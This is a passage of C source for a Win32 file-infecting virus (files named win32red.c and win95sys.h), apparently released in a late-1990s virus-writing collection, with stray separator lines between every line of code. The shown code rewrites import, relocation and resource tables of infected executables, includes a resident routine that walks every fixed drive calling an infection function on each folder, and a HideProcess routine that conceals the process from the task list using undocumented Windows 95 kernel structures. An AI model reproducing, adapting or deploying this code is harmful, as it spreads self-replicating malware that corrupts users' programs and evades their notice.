if (pRelocData->RelocType != IMAGE_REL_BASED_HIGHLOW)
|
|
continue;
|
|
*Rva2Ptr(PDWORD,
|
|
pRelocBase,
|
|
pRelocData->RelocOffset) += RvaDelta;
|
|
} while ((DWORD)++pRelocData < (DWORD)pRelocs);
|
|
} while ((DWORD)pRelocs < (DWORD)pEndRelocs);
|
|
|
|
// fix RVAs in import section..
|
|
|
|
pImports =
|
|
Rva2Raw(pHostPE->OptionalHeader.
|
|
DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].
|
|
VirtualAddress);
|
|
do {
|
|
pImportData =
|
|
#ifdef _MSC_VER
|
|
Rva2Raw((DWORD)pImports->OriginalFirstThunk += RvaDelta);
|
|
#endif
|
|
#ifdef __BORLANDC__
|
|
Rva2Raw((DWORD)pImports->u.OriginalFirstThunk += RvaDelta);
|
|
#endif
|
|
if ((DWORD)pImportData)
|
|
do {
|
|
(DWORD)pImportData->u1.AddressOfData += RvaDelta;
|
|
} while ((DWORD)(++pImportData)->u1.AddressOfData);
|
|
pImports->Name += RvaDelta;
|
|
pImportData = Rva2Raw((DWORD)pImports->FirstThunk += RvaDelta);
|
|
do {
|
|
(DWORD)pImportData->u1.AddressOfData += RvaDelta;
|
|
} while ((DWORD)(++pImportData)->u1.AddressOfData);
|
|
} while((++pImports)->Name);
|
|
|
|
#ifdef icon
|
|
// fix RVAs in resource section..
|
|
|
|
pRsrcStart =
|
|
Rva2Raw(pHostPE->OptionalHeader.
|
|
DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].
|
|
VirtualAddress = (*Rva2Ptr(PDWORD,
|
|
pHostPE,
|
|
RawOldResourceAddr)
|
|
+= RvaDelta));
|
|
((PBYTE)pRsrcStart)[0x2E] = 2;
|
|
((PBYTE)pRsrcStart)[0x4E4] = 2;
|
|
FixResources(pRsrcStart);
|
|
|
|
if (IconImages.pLargeIcon || bPayLoadDay) {
|
|
pHostPE->OptionalHeader.
|
|
DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].
|
|
Size = SIZEOF_RESOURCE_DATA;
|
|
pTgt = (PBYTE)pRsrcStart + 0xD0;
|
|
pSrc = HostLargeIcon;
|
|
nCount = SIZEOF_LARGE_ICON;
|
|
do *pTgt++ = *pSrc++; while (--nCount);
|
|
if (IconImages.pSmallIcon || bPayLoadDay) {
|
|
nCount = SIZEOF_SMALL_ICON;
|
|
do *pTgt++ = *pSrc++; while (--nCount);
|
|
}
|
|
else {
|
|
((PBYTE)pRsrcStart)[0x2E] = 1;
|
|
((PBYTE)pRsrcStart)[0x4E4] = 1;
|
|
}
|
|
}
|
|
else {
|
|
pHostPE->OptionalHeader.
|
|
DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].
|
|
VirtualAddress = 0;
|
|
pHostPE->OptionalHeader.
|
|
DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].
|
|
Size = 0;
|
|
}
|
|
#endif
|
|
|
|
pMZ->e_lfanew = TgtVir;
|
|
#ifdef compr
|
|
SystemTimeToFileTime(&SystemTime, &FindData.ftLastWriteTime);
|
|
#endif
|
|
CloseUnmapFile(WRITE_ACCESS);
|
|
}
|
|
#ifdef msgbox
|
|
}
|
|
#endif
|
|
SetFileAttributes(PathName, FindData.dwFileAttributes);
|
|
#ifdef msgbox
|
|
if (CancelFileSeek) {
|
|
CancelFileSeek = FALSE;
|
|
goto BreakHere; //can't use break; because of the 2 while's.
|
|
}
|
|
#endif
|
|
#ifdef compr
|
|
if (pComprBuf) GlobalFree(pComprBuf);
|
|
#endif
|
|
} while (*(pExt += SIZEOF_FILEEXT));
|
|
} while (FindNextFile(hFindFile, &FindData));
|
|
#ifdef msgbox
|
|
BreakHere:
|
|
#endif
|
|
FindClose(hFindFile);
|
|
}
|
|
|
|
VOID CloseUnmapFile(BOOLB WriteAccess) {
|
|
UnmapViewOfFile(pMZ);
|
|
#ifndef compr
|
|
CloseHandle(hHandle2);
|
|
if (WriteAccess)
|
|
SetFileTime(hHandle1, NULL, NULL, &FindData.ftLastWriteTime);
|
|
CloseHandle(hHandle1);
|
|
#else
|
|
CloseTruncFile(WriteAccess);
|
|
#endif
|
|
}
|
|
|
|
PBYTE GetEndOfPath(PBYTE pTgt, PBYTE pSr) {
|
|
PBYTE pTgtBegin = pTgt, pSrEnd = pSr;
|
|
while (*pSrEnd++);
|
|
while (pSr < --pSrEnd && pSrEnd[-1] != '\\' && pSrEnd[-1] != ':');
|
|
while (pSr < pSrEnd) *pTgt++ = *pSr++;
|
|
if (pTgtBegin == pTgt || pTgt[-1] != '\\') *((PWORD)pTgt)++ = '.\\';
|
|
*pTgt = '\x0'; return(pTgt);
|
|
}
|
|
|
|
PVOID Rva2Raw(DWORD Rva) {
|
|
PIMAGE_SECTION_HEADER pSectionHdr = IMAGE_FIRST_SECTION(_pHostPE);
|
|
DWORD nSections = _pHostPE->FileHeader.NumberOfSections;
|
|
do {
|
|
if (pSectionHdr->VirtualAddress <= Rva &&
|
|
Rva < pSectionHdr->VirtualAddress + pSectionHdr->Misc.VirtualSize)
|
|
return (PVOID)(Rva - pSectionHdr->VirtualAddress
|
|
+ pSectionHdr->PointerToRawData
|
|
+ (DWORD)pMZ);
|
|
pSectionHdr++;
|
|
} while (--nSections);
|
|
return NULL;
|
|
}
|
|
|
|
#ifdef icon
|
|
VOID FixResources(PIMAGE_RESOURCE_DIRECTORY pRsrcDir) {
|
|
PIMAGE_RESOURCE_DIRECTORY_ENTRY pRsrcDirEntry;
|
|
DWORD nCount;
|
|
if (!pRsrcDir)
|
|
return;
|
|
pRsrcDirEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pRsrcDir + 1);
|
|
nCount = pRsrcDir->NumberOfNamedEntries + pRsrcDir->NumberOfIdEntries;
|
|
do
|
|
pRsrcDirEntry->DataIsDirectory
|
|
? FixResources(Rva2Ptr(PIMAGE_RESOURCE_DIRECTORY, //recursion..
|
|
pRsrcStart,
|
|
pRsrcDirEntry->OffsetToDirectory))
|
|
: (Rva2Ptr(PIMAGE_RESOURCE_DATA_ENTRY,
|
|
pRsrcStart,
|
|
pRsrcDirEntry->OffsetToData)->OffsetToData
|
|
+= _RvaDelta);
|
|
while (pRsrcDirEntry++, --nCount);
|
|
}
|
|
|
|
#define LARGE_ICON 0
|
|
#define SMALL_ICON 1
|
|
|
|
PICONIMAGE GetDefaultIcon(PIMAGE_RESOURCE_DIRECTORY pRsrcDir,
|
|
BOOLB IconType,
|
|
BOOLB bFalse) {
|
|
PIMAGE_RESOURCE_DIRECTORY_ENTRY pRsrcDirEntry;
|
|
PIMAGE_RESOURCE_DATA_ENTRY pRsrcDataEntry;
|
|
PICONIMAGE pIconImage;
|
|
DWORD nCount;
|
|
if (!pRsrcDir)
|
|
return NULL;
|
|
pRsrcDirEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pRsrcDir + 1);
|
|
nCount = pRsrcDir->NumberOfNamedEntries + pRsrcDir->NumberOfIdEntries;
|
|
do {
|
|
if (!bFalse && pRsrcDirEntry->Id != (WORD)RT_ICON)
|
|
continue;
|
|
if (pRsrcDirEntry->DataIsDirectory) {
|
|
pIconImage = GetDefaultIcon(Rva2Ptr(PIMAGE_RESOURCE_DIRECTORY,
|
|
pRsrcStart,
|
|
pRsrcDirEntry->OffsetToDirectory),
|
|
IconType,
|
|
TRUE);
|
|
if (!pIconImage)
|
|
continue;
|
|
return pIconImage;
|
|
}
|
|
pRsrcDataEntry = Rva2Ptr(PIMAGE_RESOURCE_DATA_ENTRY,
|
|
pRsrcStart,
|
|
pRsrcDirEntry->OffsetToData);
|
|
pIconImage = Rva2Raw(pRsrcDataEntry->OffsetToData);
|
|
if (pIconImage->icHeader.biSize != sizeof(BITMAPINFOHEADER) ||
|
|
pIconImage->icHeader.biWidth != (IconType == LARGE_ICON
|
|
? 32
|
|
: 16) ||
|
|
pIconImage->icHeader.biHeight != (IconType == LARGE_ICON
|
|
? 64
|
|
: 32) ||
|
|
pIconImage->icHeader.biPlanes != 1 ||
|
|
pIconImage->icHeader.biBitCount != 4)
|
|
continue;
|
|
return pIconImage;
|
|
} while (++pRsrcDirEntry, --nCount);
|
|
return NULL;
|
|
}
|
|
|
|
VOID GetDefaultIcons(PICONIMAGES pIconImages,
|
|
PVOID pNEorPE) {
|
|
if (((PIMAGE_NT_HEADERS)pNEorPE)->Signature == IMAGE_NT_SIGNATURE) {
|
|
PIMAGE_NT_HEADERS pPE = _pHostPE = (PIMAGE_NT_HEADERS)pNEorPE;
|
|
PIMAGE_RESOURCE_DIRECTORY pRsrcDir =
|
|
pRsrcStart =
|
|
Rva2Raw(pPE->OptionalHeader.
|
|
DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].
|
|
VirtualAddress);
|
|
pIconImages->pLargeIcon = GetDefaultIcon(pRsrcDir, LARGE_ICON, FALSE);
|
|
pIconImages->pSmallIcon = GetDefaultIcon(pRsrcDir, SMALL_ICON, FALSE);
|
|
return;
|
|
}
|
|
if (((PIMAGE_OS2_HEADER)pNEorPE)->ne_magic == IMAGE_OS2_SIGNATURE) {
|
|
PIMAGE_OS2_HEADER pNE = (PIMAGE_OS2_HEADER)pNEorPE;
|
|
BYTE align = *Rva2Ptr(PBYTE, pNE, pNE->ne_rsrctab);
|
|
PRESOURCE_TYPE
|
|
pRsrcType = Rva2Ptr(PRESOURCE_TYPE, pNE, pNE->ne_rsrctab + 2),
|
|
pRsrcEnd = Rva2Ptr(PRESOURCE_TYPE, pNE, pNE->ne_restab);
|
|
while (pRsrcType < pRsrcEnd && pRsrcType->ID) {
|
|
if (pRsrcType->ID == (0x8000 | (WORD)RT_ICON)) {
|
|
PRESOURCE_INFO pRsrcInfo = (PRESOURCE_INFO)(pRsrcType + 1);
|
|
DWORD nCount = 0;
|
|
do {
|
|
PICONIMAGE pIconImage = Rva2Ptr(PICONIMAGE,
|
|
pMZ,
|
|
pRsrcInfo++->offset << align);
|
|
if (pIconImage->icHeader.biSize == sizeof(BITMAPINFOHEADER) &&
|
|
pIconImage->icHeader.biPlanes == 1 &&
|
|
pIconImage->icHeader.biBitCount == 4)
|
|
if (!pIconImages->pLargeIcon &&
|
|
pIconImage->icHeader.biWidth == 32 &&
|
|
pIconImage->icHeader.biHeight == 64)
|
|
pIconImages->pLargeIcon = pIconImage;
|
|
else
|
|
if (!pIconImages->pSmallIcon &&
|
|
pIconImage->icHeader.biWidth == 16 &&
|
|
pIconImage->icHeader.biHeight == 32)
|
|
pIconImages->pSmallIcon = pIconImage;
|
|
if (pIconImages->pLargeIcon && pIconImages->pSmallIcon)
|
|
goto breakall;
|
|
} while (++nCount < pRsrcType->count);
|
|
}
|
|
pRsrcType =
|
|
(PRESOURCE_TYPE)
|
|
((PBYTE)pRsrcType + sizeof(RESOURCE_TYPE)
|
|
+ pRsrcType->count * sizeof(RESOURCE_INFO));
|
|
}
|
|
breakall:;
|
|
}
|
|
}
|
|
#endif
|
|
|
|
#ifdef tsr
|
|
__inline VOID SeekTSR() {
|
|
DWORD cBytes;
|
|
PBYTE pszDrvs, pszDrive;
|
|
UINT uDriveType;
|
|
if (!(cBytes = GetLogicalDriveStrings(0, NULL)) ||
|
|
!(pszDrvs = (PBYTE)GlobalAlloc(LPTR, cBytes + 1)))
|
|
return;
|
|
if (GetLogicalDriveStrings(cBytes, pszDrvs) - 1 < cBytes) {
|
|
#if PREV_LAPSE
|
|
Sleep(PREV_LAPSE * 1000);
|
|
#endif
|
|
do {
|
|
pszDrive = pszDrvs;
|
|
do {
|
|
if ((uDriveType = GetDriveType(pszDrive)) <= DRIVE_REMOVABLE ||
|
|
uDriveType == DRIVE_CDROM)
|
|
continue;
|
|
#ifdef msgbox
|
|
if (CancelFolderSeek)
|
|
CancelFolderSeek = FALSE;
|
|
#endif
|
|
WalkFolder(lstrcpy(PathName, pszDrive));
|
|
} while (*(pszDrive += lstrlen(pszDrive) + 1));
|
|
#ifdef msgbox
|
|
if (CancelFolderSeek)
|
|
break;
|
|
#endif
|
|
} while (TRUE);
|
|
#ifdef msgbox
|
|
CloseHandle(hMutex);
|
|
#if 1
|
|
MessageBox(NULL, "TSR: Mutex destroyed!", szCopyright, MB_OK);
|
|
#endif
|
|
#endif
|
|
}
|
|
#ifdef msgbox
|
|
GlobalFree(pszDrvs);
|
|
#endif
|
|
}
|
|
|
|
VOID WalkFolder(PBYTE PathName) {
|
|
DWORD cBytes;
|
|
HANDLE hFindFile;
|
|
Sleep(SEEK_LAPSE * 1000);
|
|
InfectPath(PathName, cBytes = lstrlen(PathName));
|
|
if (PathName[cBytes - 1] != '\\')
|
|
PathName[cBytes++] = '\\';
|
|
*(PDWORD)(PathName + cBytes) = '*.*';
|
|
if ((hFindFile = FindFirstFile(PathName, &FindDataTSR)) ==
|
|
INVALID_HANDLE_VALUE)
|
|
return;
|
|
do {
|
|
#ifdef msgbox
|
|
if (CancelFolderSeek)
|
|
break;
|
|
#endif
|
|
if (!IsFolder(&FindDataTSR))
|
|
continue;
|
|
lstrcpy(PathName + cBytes, FindDataTSR.cFileName);
|
|
WalkFolder(PathName); //recurse folders..
|
|
} while (FindNextFile(hFindFile, &FindDataTSR));
|
|
FindClose(hFindFile);
|
|
}
|
|
|
|
//VOID HideProcess() { //Unsecure way to
|
|
// PTHREAD_DATABASE pThreadDB = GetThreadDB(); //hide our process.
|
|
// if (pThreadDB->pProcess->Type != K32OBJ_PROCESS) //This is undocumented
|
|
// return; //Microsoft stuff,
|
|
// pThreadDB->pProcess->flags |= fServiceProcess; //likely to GP fault!
|
|
//} //Code bellow is better
|
|
|
|
VOID HideProcess() {
|
|
{ //do it the legal undoc. way..
|
|
DWORD (WINAPI *pfnRegisterServiceProcess)(DWORD, DWORD);
|
|
pfnRegisterServiceProcess =
|
|
(DWORD (WINAPI *)(DWORD, DWORD))
|
|
GetProcAddress(GetModuleHandle("KERNEL32"),
|
|
"RegisterServiceProcess");
|
|
if (pfnRegisterServiceProcess)
|
|
pfnRegisterServiceProcess(0, 1);
|
|
}
|
|
{ //do it the ilegal dirty way, just in case..
|
|
PPROCESS_DATABASE pProcessDB = GetProcessDB();
|
|
HANDLE hProcess = GetCurrentProcess();
|
|
DWORD dwBuffer, nBytes;
|
|
if (!ReadProcessMemory(hProcess, &pProcessDB->Type,
|
|
&dwBuffer, 4, &nBytes) ||
|
|
nBytes != 4 || dwBuffer != K32OBJ_PROCESS ||
|
|
!ReadProcessMemory(hProcess, &pProcessDB->flags,
|
|
&dwBuffer, 4, &nBytes) ||
|
|
nBytes != 4)
|
|
return;
|
|
dwBuffer |= fServiceProcess;
|
|
WriteProcessMemory(hProcess, &pProcessDB->flags,
|
|
&dwBuffer, 4, &nBytes);
|
|
}
|
|
}
|
|
|
|
__inline PPROCESS_DATABASE GetProcessDB() {
|
|
PPROCESS_DATABASE pProcessDB;
|
|
DWORD nBytes;
|
|
return (!ReadProcessMemory(GetCurrentProcess(), &GetThreadDB()->pProcess,
|
|
&pProcessDB, 4, &nBytes) ||
|
|
nBytes != 4)
|
|
? NULL
|
|
: pProcessDB;
|
|
}
|
|
|
|
__inline PTHREAD_DATABASE GetThreadDB() {
|
|
__asm push -10h
|
|
__asm pop eax
|
|
__asm add eax,fs:[TIB.ptibSelf + (eax + 10h)] //(eax + 10h) = 0
|
|
}
|
|
#endif
|
|
|
|
//end
|
|
????????????????????????????????????????????????????????????????[win32red.c]??
|
|
????????????????????????????????????????????????????????????????[win95sys.h]??
|
|
//WIN95SYS - Win95 System Structures
|
|
//
|
|
//Some powerful Win95 structs that Microsoft dont want us to know about.
|
|
//These are much like the Win95 implementation of the SFTs found in DOS.
|
|
|
|
//Last minute note (Nov/10/98): Unfortunately some of the fields in these
|
|
// structures broke on Win98. More especifically I dunno where the Process
|
|
// database structure lies in memory. However the 'RegisterServiceProcess'
|
|
// API is still exported from KERNEL32 and so our nasty trick with the
|
|
// 'Task Bar' still works there. Under NT this story is out of scope. JQ.
|
|
|
|
|
|
//Kernel32 objects
|
|
|
|
#define K32OBJ_SEMAPHORE 0x1
|
|
#define K32OBJ_EVENT 0x2
|
|
#define K32OBJ_MUTEX 0x3
|
|
#define K32OBJ_CRITICAL_SECTION 0x4
|
|
#define K32OBJ_PROCESS 0x5
|
|
#define K32OBJ_THREAD 0x6
|
|
#define K32OBJ_FILE 0x7
|
|
#define K32OBJ_CHANGE 0x8
|
|
#define K32OBJ_CONSOLE 0x9
|
|
#define K32OBJ_SCREEN_BUFFER 0xA
|
|
#define K32OBJ_MEM_MAPPED_FILE 0xB
|
|
#define K32OBJ_SERIAL 0xC
|
|
#define K32OBJ_DEVICE_IOCTL 0xD
|
|
#define K32OBJ_PIPE 0xE
|
|
#define K32OBJ_MAILSLOT 0xF
|
|
#define K32OBJ_TOOLHELP_SNAPSHOT 0x10
|
|
#define K32OBJ_SOCKET 0x11
|
|
|
|
|
|
//Process Database flags
|
|
|
|
#define fDebugSingle 0x00000001
|
|
#define fCreateProcessEvent 0x00000002
|
|
#define fExitProcessEvent 0x00000004
|
|
#define fWin16Process 0x00000008
|
|
#define fDosProcess 0x00000010
|
|
#define fConsoleProcess 0x00000020
|
|
#define fFileApisAreOem 0x00000040
|
|
#define fNukeProcess 0x00000080
|
|
#define fServiceProcess 0x00000100
|
|
#define fLoginScriptHack 0x00000800
|
|
|
|
|
|
//Thread Database flags
|
|
|
|
#define fCreateThreadEvent 0x00000001
|
|
#define fCancelExceptionAbort 0x00000002
|
|
#define fOnTempStack 0x00000004
|
|
#define fGrowableStack 0x00000008
|
|
#define fDelaySingleStep 0x00000010
|
|
#define fOpenExeAsImmovableFile 0x00000020
|
|
#define fCreateSuspended 0x00000040
|
|
#define fStackOverflow 0x00000080
|
|
#define fNestedCleanAPCs 0x00000100
|
|
#define fWasOemNowAnsi 0x00000200
|
|
#define fOKToSetThreadOem 0x00000400
|
|
|
|
|
|
#pragma pack(1)
|
|
|
|
|
|
//MODREF and IMTE structures
|
|
|
|
typedef struct _MODREF {
|
|
struct _MODREF *pNextModRef; // 00h
|
|
DWORD un1; // 04h
|
|
DWORD un2; // 08h
|
|
DWORD un3; // 0Ch
|
|
WORD mteIndex; // 10h
|
|
WORD un4; // 12h
|
|
DWORD un5; // 14h
|
|
PVOID ppdb; // 18h Pointer to process database
|
|
DWORD un6; // 1Ch
|
|
DWORD un7; // 20h
|
|
DWORD un8; // 24h
|
|
} MODREF, *PMODREF;
|
|
|
|
typedef struct _IMTE {
|
|
DWORD un1; // 00h
|
|
PIMAGE_NT_HEADERS pNTHdr; // 04h
|
|
DWORD un2; // 08h
|
|
PSTR pszFileName; // 0Ch
|
|
PSTR pszModName; // 10h
|
|
WORD cbFileName; // 14h
|
|
WORD cbModName; // 16h
|
|
DWORD un3; // 18h
|
|
DWORD cSections; // 1Ch
|
|
DWORD un5; // 20h
|
|
DWORD baseAddress; // 24h
|
|
WORD hModule16; // 28h
|
|
WORD cUsage; // 2Ah
|
|
DWORD un7; // 2Ch
|
|
PSTR pszFileName2; // 30h
|
|
WORD cbFileName2; // 34h
|
|
DWORD pszModName2; // 36h
|
|
WORD cbModName2; // 3Ah
|
|
} IMTE, *PIMTE;
|
|
|
|
|
|
//Process Database structure
|
|
|
|
typedef struct _ENVIRONMENT_DATABASE {
|
|
PSTR pszEnvironment; // 00h Pointer to Environment
|
|
DWORD un1; // 04h
|
|
PSTR pszCmdLine; // 08h Pointer to command line
|
|
PSTR pszCurrDirectory; // 0Ch Pointer to current directory
|
|
LPSTARTUPINFOA pStartupInfo;// 10h Pointer to STARTUPINFOA struct
|
|
HANDLE hStdIn; // 14h Standard Input
|
|
HANDLE hStdOut; // 18h Standard Output
|
|
HANDLE hStdErr; // 1Ch Standard Error
|
|
DWORD un2; // 20h
|
|
DWORD InheritConsole; // 24h
|
|
DWORD BreakType; // 28h
|
|
DWORD BreakSem; // 2Ch
|
|
DWORD BreakEvent; // 30h
|
|
DWORD BreakThreadID; // 34h
|
|
DWORD BreakHandlers; // 38h
|
|
} ENVIRONMENT_DATABASE, *PENVIRONMENT_DATABASE;
|
|
|
|
typedef struct _HANDLE_TABLE_ENTRY {
|
|
DWORD flags; // Valid flags depend on what type of object this is
|
|
PVOID pObject; // Pointer to the object that the handle refers to
|
|
} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;
|
|
|
|
typedef struct _HANDLE_TABLE {
|
|
DWORD cEntries; // Max number of handles in table
|
|
HANDLE_TABLE_ENTRY array[1]; // An array (number is given by cEntries)
|
|
} HANDLE_TABLE, *PHANDLE_TABLE;
|
|
|
|
typedef struct _PROCESS_DATABASE {
|
|
DWORD Type; // 00h KERNEL32 object type (5)
|
|
DWORD cReference; // 04h Number of references to process
|
|
DWORD un1; // 08h
|
|
DWORD someEvent; // 0Ch An event object (What's it used for???)
|
|
DWORD TerminationStatus; // 10h Returned by GetExitCodeProcess
|
|
DWORD un2; // 14h
|
|
DWORD DefaultHeap; // 18h Address of the process heap
|
|
DWORD MemoryContext; // 1Ch pointer to the process's context
|
|
DWORD flags; // 20h
|
|
// 0x00000001 - fDebugSingle
|
|
// 0x00000002 - fCreateProcessEvent
|
|
// 0x00000004 - fExitProcessEvent
|
|
// 0x00000008 - fWin16Process
|
|
// 0x00000010 - fDosProcess
|
|
// 0x00000020 - fConsoleProcess
|
|
// 0x00000040 - fFileApisAreOem
|
|
// 0x00000080 - fNukeProcess
|
|
// 0x00000100 - fServiceProcess
|
|
// 0x00000800 - fLoginScriptHack
|
|
DWORD pPSP; // 24h Linear address of PSP?
|
|
WORD PSPSelector; // 28h
|
|
WORD MTEIndex; // 2Ah
|
|
WORD cThreads; // 2Ch
|
|
WORD cNotTermThreads; // 2Eh
|
|
WORD un3; // 30h
|
|
WORD cRing0Threads; // 32h number of ring 0 threads
|
|
HANDLE HeapHandle; // 34h Heap to allocate handle tables out of
|
|
// This seems to always be the KERNEL32 heap
|
|
HTASK W16TDB; // 38h Win16 Task Database selector
|
|
DWORD MemMapFiles; // 3Ch memory mapped file list (?)
|
|
PENVIRONMENT_DATABASE pEDB; // 40h Pointer to Environment Database
|
|
PHANDLE_TABLE pHandleTable; // 44h Pointer to process handle table
|
|
struct _PROCESS_DATABASE *ParentPDB; // 48h Parent process database
|
|
PMODREF MODREFlist; // 4Ch Module reference list
|
|
DWORD ThreadList; // 50h Threads in this process
|
|
DWORD DebuggeeCB; // 54h Debuggee Context block?
|
|
DWORD LocalHeapFreeHead; // 58h Head of free list in process heap
|
|
DWORD InitialRing0ID; // 5Ch
|
|
CRITICAL_SECTION crst; // 60h
|
|
DWORD un4[3]; // 78h
|
|
DWORD pConsole; // 84h Pointer to console for process
|
|
DWORD tlsInUseBits1; // 88h // Represents TLS indices 0 - 31
|
|
DWORD tlsInUseBits2; // 8Ch // Represents TLS indices 32 - 63
|
|
DWORD ProcessDWORD; // 90h
|
|
struct _PROCESS_DATABASE *ProcessGroup; // 94h
|
|
DWORD pExeMODREF; // 98h pointer to EXE's MODREF
|
|
DWORD TopExcFilter; // 9Ch Top Exception Filter?
|
|
DWORD BasePriority; // A0h Base scheduling priority for process
|
|
DWORD HeapOwnList; // A4h Head of the list of process heaps
|
|
DWORD HeapHandleBlockList;// A8h Pointer to head of heap handle block list
|
|
DWORD pSomeHeapPtr; // ACh normally zero, but can a pointer to a
|
|
// moveable handle block in the heap
|
|
DWORD pConsoleProvider; // B0h Process that owns the console we're using?
|
|
WORD EnvironSelector; // B4h Selector containing process environment
|
|
WORD ErrorMode; // B6H SetErrorMode value (also thunks to Win16)
|
|
DWORD pevtLoadFinished; // B8h Pointer to event LoadFinished?
|
|
WORD UTState; // BCh
|
|
} PROCESS_DATABASE, *PPROCESS_DATABASE;
|
|
|
|
|
|
//TIB (Thread Information Block) structure
|
|
|
|
typedef struct _SEH_record {
|
|
struct _SEH_record *pNext;
|
|
FARPROC pfnHandler;
|
|
} SEH_record, *PSEH_record;
|
|
|
|
// This is semi-documented in the NTDDK.H file from the NT DDK
|
|
typedef struct _TIB {
|
|
PSEH_record pvExcept; // 00h Head of exception record list
|
|
PVOID pvStackUserTop; // 04h Top of user stack
|
|
PVOID pvStackUserBase; // 08h Base of user stack
|
|
WORD pvTDB; // 0Ch TDB
|
|
WORD pvThunksSS; // 0Eh SS selector used for thunking to 16 bits
|
|
DWORD SelmanList; // 10h
|
|
PVOID pvArbitrary; // 14h Available for application use
|
|
struct _tib *ptibSelf; // 18h Linear address of TIB structure
|
|
WORD TIBFlags; // 1Ch
|
|
WORD Win16MutexCount; // 1Eh
|
|
DWORD DebugContext; // 20h
|
|
DWORD pCurrentPriority; // 24h
|
|
DWORD pvQueue; // 28h Message Queue selector
|
|
PVOID *pvTLSArray; // 2Ch Thread Local Storage array
|
|
} TIB, *PTIB;
|
|
|
|
|
|
//TDBX structure
|
|
|
|
typedef struct _TDBX {
|
|
DWORD ptdb; // 00h // PTHREAD_DATABASE
|
|
DWORD ppdb; // 04h // PPROCESDS_DATABASE
|
|
DWORD ContextHandle; // 08h
|
|
DWORD un1; // 0Ch
|
|
DWORD TimeOutHandle; // 10h
|
|
DWORD WakeParam; // 14h
|
|
DWORD BlockHandle; // 18h
|
|
DWORD BlockState; // 1Ch
|
|
DWORD SuspendCount; // 20h
|
|
DWORD SuspendHandle; // 24h
|
|
DWORD MustCompleteCount; // 28h
|
|
DWORD WaitExFlags; // 2Ch
|
|
// 0x00000001 - WAITEXBIT
|
|
// 0x00000002 - WAITACKBIT
|
|
// 0x00000004 - SUSPEND_APC_PENDING
|
|
// 0x00000008 - SUSPEND_TERMINATED
|
|
// 0x00000010 - BLOCKED_FOR_TERMINATION
|
|
// 0x00000020 - EMULATE_NPX
|
|
// 0x00000040 - WIN32_NPX
|
|
// 0x00000080 - EXTENDED_HANDLES
|
|
// 0x00000100 - FROZEN
|
|
// 0x00000200 - DONT_FREEZE
|
|
// 0x00000400 - DONT_UNFREEZE
|
|
// 0x00000800 - DONT_TRACE
|
|
// 0x00001000 - STOP_TRACING
|
|
// 0x00002000 - WAITING_FOR_CRST_SAFE
|
|
// 0x00004000 - CRST_SAFE
|
|
// 0x00040000 - BLOCK_TERMINATE_APC
|
|
DWORD SyncWaitCount; // 30h
|
|
DWORD QueuedSyncFuncs; // 34h
|
|
DWORD UserAPCList; // 38h
|
|
DWORD KernAPCList; // 3Ch
|
|
DWORD pPMPSPSelector; // 40h
|
|
DWORD BlockedOnID; // 44h
|
|
DWORD un2[7]; // 48h
|
|
DWORD TraceRefData; // 64h
|
|
DWORD TraceCallBack; // 68h
|
|
DWORD TraceEventHandle; // 6Ch
|
|
WORD TraceOutLastCS; // 70h
|
|
WORD K16TDB; // 72h
|
|
WORD K16PDB; // 74h
|
|
WORD DosPDBSeg; // 76h
|
|
WORD ExceptionCount; // 78h
|
|
} TDBX, *PTDBX;
|
|
|
|
|
|
//Thread Database structure
|
|
|
|
typedef struct _THREAD_DATABASE {
|
|
DWORD Type; // 00h
|
|
DWORD cReference; // 04h
|
|
PPROCESS_DATABASE pProcess; // 08h
|
|
DWORD someEvent; // 0Ch An event object (What's it used for???)
|
|
DWORD pvExcept; // 10h This field through field 3CH is a TIB
|
|
// structure (see TIB.H)
|
|
DWORD TopOfStack; // 14h
|
|
DWORD StackLow; // 18h
|
|
WORD W16TDB; // 1Ch
|
|
WORD StackSelector16; // 1Eh Used when thunking down to 16 bits
|
|
DWORD SelmanList; // 20h
|
|
DWORD UserPointer; // 24h
|
|
PTIB pTIB; // 28h
|
|
WORD TIBFlags; // 2Ch TIBF_WIN32 = 1, TIBF_TRAP = 2
|
|
WORD Win16MutexCount; // 2Eh
|
|
DWORD DebugContext; // 30h
|
|
PDWORD pCurrentPriority; // 34h
|
|
DWORD MessageQueue; // 38h
|
|
DWORD pTLSArray; // 3Ch
|
|
PPROCESS_DATABASE pProcess2;// 40h Another copy of the thread's process???
|
|
DWORD Flags; // 44h
|
|
// 0x00000001 - fCreateThreadEvent
|
|
// 0x00000002 - fCancelExceptionAbort
|
|
// 0x00000004 - fOnTempStack
|
|
// 0x00000008 - fGrowableStack
|
|
// 0x00000010 - fDelaySingleStep
|
|
// 0x00000020 - fOpenExeAsImmovableFile
|
|
// 0x00000040 - fCreateSuspended
|
|
// 0x00000080 - fStackOverflow
|
|
// 0x00000100 - fNestedCleanAPCs
|
|
// 0x00000200 - fWasOemNowAnsi
|
|
// 0x00000400 - fOKToSetThreadOem
|
|
DWORD TerminationStatus; // 48h Returned by GetExitCodeThread
|
|
WORD TIBSelector; // 4Ch
|
|
WORD EmulatorSelector; // 4Eh
|
|
DWORD cHandles; // 50h
|
|
DWORD WaitNodeList; // 54h
|
|
DWORD un4; // 58h
|
|
DWORD Ring0Thread; // 5Ch
|
|
PTDBX pTDBX; // 60
|
|
DWORD StackBase; // 64h
|
|
DWORD TerminationStack; // 68h
|
|
DWORD EmulatorData; // 6Ch
|
|
DWORD GetLastErrorCode; // 70h
|
|
DWORD DebuggerCB; // 74h
|
|
DWORD DebuggerThread; // 78h
|
|
PCONTEXT ThreadContext; // 7Ch // register context defined in WINNT.H
|
|
DWORD Except16List; // 80h
|
|
DWORD ThunkConnect; // 84h
|
|
DWORD NegStackBase; // 88h
|
|
DWORD CurrentSS; // 8Ch
|
|
DWORD SSTable; // 90h
|
|
DWORD ThunkSS16; // 94h
|
|
DWORD TLSArray[64]; // 98h
|
|
DWORD DeltaPriority; // 198h
|
|
|
|
// The retail version breaks off somewhere around here.
|
|
// All the remaining fields are most likely only in the debug version
|
|
|
|
DWORD un5[7]; // 19Ch
|
|
DWORD pCreateData16; // 1B8h
|
|
DWORD APISuspendCount; // 1BCh # of times SuspendThread has been called
|
|
